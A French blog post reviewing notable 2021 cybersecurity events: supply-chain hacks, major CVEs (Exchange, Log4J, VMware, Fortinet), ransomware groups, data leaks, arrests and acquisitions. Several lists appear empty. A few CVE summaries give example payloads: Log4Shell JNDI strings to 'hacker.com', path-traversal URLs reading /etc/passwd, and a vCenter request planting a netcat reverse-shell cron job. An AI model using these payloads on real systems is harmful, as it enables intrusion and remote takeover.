18 mars 2022 Rétrospectives Vlad
Ce contenu vous plait
Partagez-le sur les réseaux
Le voici, le voilà, il sent le poisson pas frais et les lendemains de cuite 🥳, c’est mon traditionnel top arbitraire des évènements de cybersécurité de l’année écoulée 2021 🎊.
S’agissant d’un « top », le but n’est pas de détailler chaque sujet, pour cela, je vous renvoie vers les revues d’actualité de l’OSSIR en PDF et vidéo (https://www.ossir.org/support-des-presentations/?date=2021)
Entrons dans le vif du sujet, l’année 2020 fut assez catastrophique avec des fuites majeures de données, des compromissions à grande échelle de fournisseurs, des vulnérabilités majeures…
J’avais d’ailleurs terminé l’année par ce mème accompagnent mes voeux test :
La principale question que l’on peut se poser est alors : « qu’est-ce qu’a été l’année 2021 ? »
Un indice, j’avais débuté l’année par ce montage 😂 :
Les attaques dites « de la chaîne d’approvisionnement » ou « supply chain attack » sont anciennes, mais elles sont de plus en plus utilisées ces dernières années.
Souvenez-vous des piratages de :
2021 a confirmé cette tendance avec des piratages de plus en plusimportants.
En 2021, nous avons eu les suites du piratage de Solarwinds, qui pour rappel avait abouti à la compromission de milliers d’agences américaines, de Microsoft, FireEye… :
En 2021, nous avons eu les piratages de :
En 2021, comme les années précédentes, nous avons eu les déploiements de bibliothèques vérolées :
La situation semble de pire en pire et c’est en partie vrai, pour trois principales raisons :
2021 a confirmé cette tendance avec un plus grand nombre de vulnérabilités majeures ayant des impacts majeurs.
D’ailleurs, cette année s’est conclue avec Log4J qui est définitivement caractéristique de 2021.
En 2021, nous avons eu le vrai correctif pour ZeroLogon, vulnérabilitépermettant de devenir instantanément administrateur d’un domaine Microsoft Active Directory (revue du 2021-02-09) :
CVE-2020-1472 ; exploité massivement dans la nature ; CVSS=10.0/10 (pour rappel, la note CVSS permet de calculer la criticité technique d'une vulnérabilité de 0 à 10, une note supérieur à 9 étant la fin du monde 😊)En 2021, nous avons eu Microsoft Exchange, le logiciel de gestion des mails, revenu à la mode (pour les attaquants) et bourré de vulnérabilités majeures :
CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, CVE-2021-27065 ; exploitées massivement dans la nature ; CVSS=10.0/10
Trouvées par Orange Tsai
Corrigé à la sauvage par le FBI chez les entreprises américaines (revue du 2021-05-13)CVE-2021-31196, CVE-2021-31195 ; ; CVSS=7.2/10
Trouvées par Orange Tsai
Mériterait sa place dans #VulnsDesAnnées90CVE-2021-28480, CVE-2021-28481, CVE-2021-28482, CVE-2021-28483 ; ; CVSS=9.8/10
Dont une reportée par la NSACVE-2021-34473, CVE-2021-34523, CVE-2021-31207 ; exploitées massivement dans la nature ; CVSS=10.0/10
Présenté à Pwn2OwnEn 2021, Microsoft Azure CosmoDB (avec Jupyter Notebook) a connu la fuite des clefs CosmoDB depuis tous les Notebook, permettant de voler les données de toutes les bases de données de tous les clients (revue du 2021-09-14).
En 2021, l’éditeur VMWare, leader des solutions de virtualisation, a souffert de vulnérabilités majeures sur ses produits phares, parfois exposés en direct sur Internet 🤦♂️ :
En 2021, l’éditeur de Palo Alto Networks a souffert aussi d’une prise de contrôle à distance sans authentification (revue du 2021-12-12) :
CVE-2021-3064 ; exploitée dans la nature ; CVSS=9.8/10
Mériterait aussi sa place dans #VulnsCyberSec
Vulnérabilité à l’origine d’un triple « bad buzz » :
▹ Vulnérabilité découverte par l’entreprise américaine de pentest Randori, qui se l’est gardé sous le coude pendant 1 an ! Ce qui est peu éthique
▹ Palo Alto qui a modifié discrètement son bulletin de sécurité pour faire croire qu’ils avaient corrigé la vulnérabilité 1 an avant
▹ Palo Alto qui... ne rémunère pas les chercheurs leur remontant des vulnérabilitésEn 2021, Bloomberg a publié un article sur les 3 piratages de Juniper(éditeur de routeurs et firewalls) ayant conduits aux ajouts de portes dérobées par (revue du 2021-09-14) :
En 2021, Gitlab CE, le logiciel de gestion de code source et usine logicielle (pipeline CI/CD) était vulnérable à une prise de contrôle à distance sans authentification (revue du 2021-11-09) :
CVE-2021-22205 ; exploitée dans la nature ; CVSS=10.0/10
Provenant d’une vulnérabilité dans l’outil de traitement des images « ExifTool » (CVE-2021-22204).Faisons un passage éclair sur ce que vous utilisez le plus et pour lesquels des centaines de vulnérabilités ont été corrigés en 2021 :
iOS, nous en reparlerons dans la partie juridique, avec l’affaire “NSO Group”.
Et pour finir, vous l’attendiez tous, car elle a pourri nos vacances de Noël : Log4J 🥳🎉, bibliothèque de journalisation, avec une prise de contrôle à distance sans authentification (revue du 2021-12-12) :
Version 2.14, CVE-2021-44228 ; exploitée massivement dans la nature ; CVSS=10.0/10 (exemple d’exploit : ${jndi:ldap://hacker.com:389/a})
Version 2.15, CVE-2021-45046 ; exploitée dans la nature ; CVSS=9.0/10 (exemple d’exploit : ${jndi:ldap://127.0.0.1#hacker.com:389/a} )
Version 2.16, CVE-2021-45105 ; exploitée dans la nature ; CVSS=5.9/10 (exemple d’exploit : {${::-${::-$.${::-j}}}} )
Version 2.17, CVE-2021-44832 ; ; CVSS=6.6/10 (si l’attaquant peut modifier le fichier de configuration et ajouter un chemin JNDI dans les JDBCAppender, donc peu probable 😉)De mes souvenir, c’est vers 2014-2015 que les gens ont commencé à se rendre compte que les produits de cybersécurité étaient des logiciels comme les autres : bourrés de vulnérabilités.
Je me souviens en particulier des travaux de Tavis Ormandi qui avait trouvé des vulnérabilités critiques dans les antivirus les plus connus.
2021 a été dans la continuité des années précédentes. En 2021, nous avons pu voir des vulnérabilités sur les solutions de sécurité de l’éditeur Fortinet :
○ CVE-2020-29016 et CVE-2020-29019 (Buffer overflow), CVE-2020-29015 (SQL Injection) …; exploitées dans la nature ; CVSS=9.8/10
○ CVE-2021-26102 ; exploitée dans la nature ; CVSS=9.8/10 En 2021, à nouveau les firewalls Palo Alto Network ont eu une prise de contrôle à distance sans authentification sur le service Telnet (revue du 2021-03-09): ○ CVE-2020-10188 ; ; CVSS=8.1/10
En 2021, le logiciel d’analyse de logs (SIEM) IBM Qradar a souffert d’une prise de contrôle à distance sans authentification (revue du 2021-02-09) :
<<Les années 90 viennent d’appeler, elles veulent récupérer leurs vulnérabilités...>>
Lorsque l’on voit certaines vulnérabilités de 2021, leur aspect technique, la trivialité avec laquelle elles peuvent être exploitées, nous sommes tentés de faire un parallèle avec les débuts d’Internet dans les années 90-2000 et l’absence quasi-totale de sécurité. Microsoft semble un spécialiste de la discipline :
○ CVE-2021-1675, CVE-2021-34527, CVE-2021-36936, CVE-2021-36958 ; exploitées massivement dans la nature ; CVSS=8.8/10
○ CVE-2021-36934 ; exploitée dans la nature ; CVSS=7.8/10
○ CVE-2021-36942 ; exploitée dans la nature ; CVSS=7.5/10
○ CVE-2021-43798 ; ; CVSS=7.5/10 ○ Avec un simple : « http://cible:3000/public/plugins/loki/../../../../../../../../etc/passwd »
○ CVE-2021-22005 ; exploitée massivement dans la nature ; CVSS=9.8/10 ○ Avec un simple : « https://cible/analytics/telemetry/ph/api/hyper/send?\_c=&\_i=/../../../../../../etc/cron.d/$RANDOM -H Content-Type: -d "* * * * * root nc -e /bin/sh IP-SHELLBACK 4444 »
○ CVE-2021-26086 ; exploitée dans la nature ; CVSS=5.3/10 ○ Avec un simple « http://cible/s/cfx/_/;/WEB-INF/web.xml » ou « http://cible/s/cfx/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties »
Et je ne vais pas parler des routeurs SOHO, ces boitiers réseau pour les petites entreprises ou les particuliers, faisant du WiFi, de l’accès Internet… bourrés de vulnérabilités triviales (revue du 2021-03-09).
Ce modèle d’affaire des cybercriminels ne semble pas ralentir (toutes les revues 😉) avec quelques faits marquants ou sortant de l’ordinaire.
Le groupe Revil a commencé à cibler les assureurs pour trouver de nouvelles cibles (revue du 2021-04-13) Le groupe Babuk a compromis la Police de Washington D.C. et menacé de de publier des informations sur leurs informateurs (revue du 2021-05-13). Le Groupe DarkSide (un affilié) a piraté et rançonné le pipeline américain « Colonial Pipeline » (revue du 2021-05-13). Le groupe Conti a piraté un diamantaire anglais et s’en est excusé (sur demande du Kremlin) après avoir publié les données, dont certaines en lien avec Mohammed Bin Salman (revue du 2021-11-09).
Quoi de mieux que de pirater un chercheur en cybersécurité et de lui voler ses travaux dont ses vulnérabilités non encore publiées. Ce n’est pas vraiment une nouveauté mais en 2021, il y’a eu plusieurs affaires de ce type.
Une campagne d'espionnage (menée par la Corée du nord) a ciblé des chercheurs en cybersécurité par des faux profils de chercheurs, faux blog et envois de projets Visual Studio piégés (revue du 2021-02-09). L’entreprise Bastion Secure (en réalité le groupe FIN7) a publié de fausses offres d’emploi, pour manipuler chercheurs et leur faire mener des attaques de rançongiciel (revue du 2021-11-09).
A chaque année ses fuites de données et 2021 n’y fait pas exception avec un grand nombre de fuites de données ou d’atteintes à la vie privée.
Il y’a eu l’affaire Dedalus, avec le vol et la publication de données médicales concernant 491 840 français dont 300 000 bretons (revue du 2021-03-09) Comme chaque année, Facebook a été mêlé à des problèmes concernant les données personnelles :
Gravatar a été piraté avec la fuite des données de 124 millions d’utilisateurs (revue du 2021-12-12) Enfin en 2021, Wired a publié un article sur Amazon et le manque de respect pour les données de ses clients (revue du 2021-12-12)
Un peu comme pour les vulnérabilités majeures, certaines pannes ont un impact très large et chaque année, les différents acteurs du web arrivent à nous surprendre par la créativité de leurs pannes, en particulier chez les GAFAM/MAGMA, pour lesquels cela arrive régulièrement.
Le CDN Fastly a eu une “courte” panne avec de nombreux impacts en cascade (2021-09-14) Facebook est tombé en panne du fait d’un problème BGP (revue du 2021-10-12)
Heureusement, nos forces de l’ordre ne chôment pas et arrêtent régulièrement des cybercriminels.
Cette année 2021 fut particulièrement riche en arrestations. Des opérateurs d'Egregor ont été Interpellés (revue du 2021-03-09) Le cerveau technique du groupe FIN7, a été condamné à 10 ans de prison (revue du 2021-05-13) 7 membres de Revil/GanCrab ont été arrêtés (revue du 2021-11-09) Europol a réalisé de belles opérations :
Plusieurs conférences ou évènements liés à la cybersécurité sont sortis du lot en 2021.
Ces conférences ou évènements ou médias de cybersécurité sont les suivants :
Chaque année voit son lot de rachats, levées de fonds, coups bas et de créations de groupements d’intérêts.
2021 fut là encore une année particulièrement riche dans ces domaines. Tenable a racheté Alsid pour $98m (revue du 2021-03-09) Datadog a racheté Sqreen avec Bercy qui a étudié de près le dossier (revue du 2021-03-09) ThreatQuotient a levé $22m (revue du 2021-04-13) Glimps a levé 6m€ (revue du 2021-04-13) La liste des membres de GAIA-X (le Cloud Européen), a été publiée mais composée de très (trop) nombreux éditeurs non européens (revue du 2021-04-13) CrowdSec a levé 5m€ (revue du 2021-05-13) FireEye a été vendu pour $1,2 milliards (revue du 2021-09-14) Vade Secure s’est fait « Alstomer » par les USA avec une amende de $14m (revue du 2021-09-14)
Les publications sont essentielles pour aider à améliorer le niveau de tous et pour certaines, deviennent les référentiels du domaine.
L'ANSSI a publié, entre autres :
Cette année a été particulièrement marquée par des évènements juridiques.
Le risque cyber a été classé parmi les principaux selon le "forum de Davos" (revue du 2021-02-09) À la suite des modifications des conditions d’utilisation de Whatsapp, les gens ont massivement migré sur Signal (revue du 2021-02-09)
L'entreprise israélienne (connue depuis longtemps et en lien avec l'affaire Khashoggi) et son malware ont été au coeur d’une des plus grosses affaires d'espionnage de ces dernières années avec :
.".."..".."..".."..".."..".."..".."._
Finalement, ce qui me semble caractériser le plus cette année c’est le très grand nombre de vulnérabilités :
